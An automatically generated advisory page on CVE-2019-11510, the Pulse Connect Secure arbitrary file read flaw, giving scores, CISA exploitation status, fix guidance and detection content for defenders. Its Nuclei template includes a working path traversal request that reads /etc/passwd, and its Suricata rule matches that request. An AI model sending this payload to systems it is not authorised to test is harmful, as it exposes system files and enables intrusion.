VULNpocalypse

CVE-2019-11510: Ivanti Pulse Connect Secure Arbitrary File Read Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability .

Description quoted from the CVE record (assigned by mitre, published 2019-05-08).

Weakness: CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.0/AC:L/AV:N/A:H/C:H/I:H/PR:L/S:C/UI:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2021-11-03
US federal deadline
2022-05-03
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2019-02980, CNNVD-201904-1243, CNVD-2020-21829, EDB-47297, EUVD-2019-3183, GHSA-6wr2-qx99-98mg

VEDAS cluster: VEDAS:BOUNTEOUSBLAZE

Exploit Observer links 12 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (12)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (2)

Vulnerability databases and vendor advisories (9)

Catalogue entries, not exploit evidence.

126 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
1.000
very likely to be attacked soon
VEDAS
0.983
strong exploit evidence
On CISA KEV
Yes, since 2021-11-03
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2019-11510 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2019-11510 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Not statedversion n/aNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply updates per vendor instructions.

Vendor guidance:

How to detect it

Nuclei template (active check)

Pulsesecure - Path Traversal

In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability .

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/d...); it decides using regex, status matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2019-11510.yaml
Show the template (36 lines)
yaml
id: CVE-2019-11510

info:
  name: "Pulsesecure - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an
    unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading
    vulnerability .
  reference:
    - https://www.exploit.observer/?keyword=CVE-2019-11510&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=pulsesecure&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-11510
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: packetstorm,cve,cve2019,pulsesecure,lfi,kev,ivanti,vkev,vuln
http:
  - method: GET
    path:
      - "{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

CVE-2019-11510.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2019-11510 Pulsesecure - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2019-11510 Pulsesecure - Path Traversal"; flow:established,to_server; http.uri; content:"guacamole"; nocase; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2019-11510; reference:url,https://www.exploit.observer/?keyword=CVE-2019-11510&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=pulsesecure&match=exact; sid:1010470; rev:1;)

CVE-2019-11510.rules on GitHub

Advisories on this CVE

References

Exploits and technical analysis

  • VU#927237 (third-party-advisory, x_refsource_CERT-VN)

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.